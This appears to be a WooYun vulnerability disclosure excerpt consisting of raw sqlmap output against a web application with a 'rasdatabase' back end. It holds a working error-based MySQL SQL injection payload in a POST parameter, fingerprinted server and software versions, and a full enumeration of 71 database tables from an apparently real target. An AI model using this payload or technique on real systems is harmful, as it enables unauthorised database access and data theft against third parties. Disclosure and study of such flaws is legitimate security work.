WooYun.org

---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: AppID[-1]=651&clear=%e6%b8%85%e7%a9%ba&NMFind=%e6%90%9c%e7%b4%a2&pageNo=&sort=DisplayName&sortType=A&ViewAppFld=1) AND (SELECT 4511 FROM(SELECT COUNT(*),CONCAT(0x716b7a7671,(SELECT (ELT(4511=4511,1))),0x71716a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (1461=1461&ViewAppValue=1
---
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0
Database: rasdatabase
[71 tables]
+---------------------------+
| hbadminrolegroupmembers   |
| hbadminrolerestrictedorgs |
| hbadminroletask           |
| hbadminroleusermembers    |
| hbclientgroupapplication  |
| hbclientgroupprinter      |
| hbdirectoryapplication    |
| hborgapplication          |
| hborglicensepolicy        |
| hborgpolicy               |
| hbpolicyvalues            |
| hbroletask                |
| hbserverapplication       |
| hbserverprinterdriver     |
| hbserverprintinf          |
| hbserverrole              |
| hbservertask              |
| hbtaskaction              |
| hbtaskcondition           |
| hbuserapplication         |
| hbuserdirectory           |
| hbuserorgs                |
| hbuserpolicy              |
| lograsarchi               |
| lograsconcurrenta         |
| lograsconcurrentus        |
| lograsent                 |
| lograssessi               |
| lograstaskactionhist      |
| lograstaskhist            |
| rasactions                |
| rasadminroles             |
| rasadmintasks             |
| rasapplication            |
| rasbadprinterdriver       |
| rascfg                    |
| rasclient                 |
| rasclientgroup            |
| rascompatibilitydriver    |
| rasconcurrentsession      |
| rasconditions             |
| rasconnectionsetting      |
| rasdatabase               |
| rasdirectory              |
| rasdmzserverd             |
| rasdomain                 |
| rasgroupuser              |
| rasinfocollectordata      |
| rasjobs                   |
| rasjobsteps               |
| raslicenseinfo            |
| raslicensetoken           |
| raslicpolicy              |
| raslockdownpolicies       |
| rasmonthlyminute          |
| rasorgs                   |
| rasprinter                |
| rasprinterdriver          |
| rasproductk               |
| rasreqids                 |
| rasroles                  |
| rasrunningservers         |
| rasselection              |
| rasserver                 |
| rasstyle                  |
| rastasks                  |
| rasticketing              |
| rastimedsessio            |
| rasuser                   |
| rasusermng                |
| usermachines              |
+---------------------------+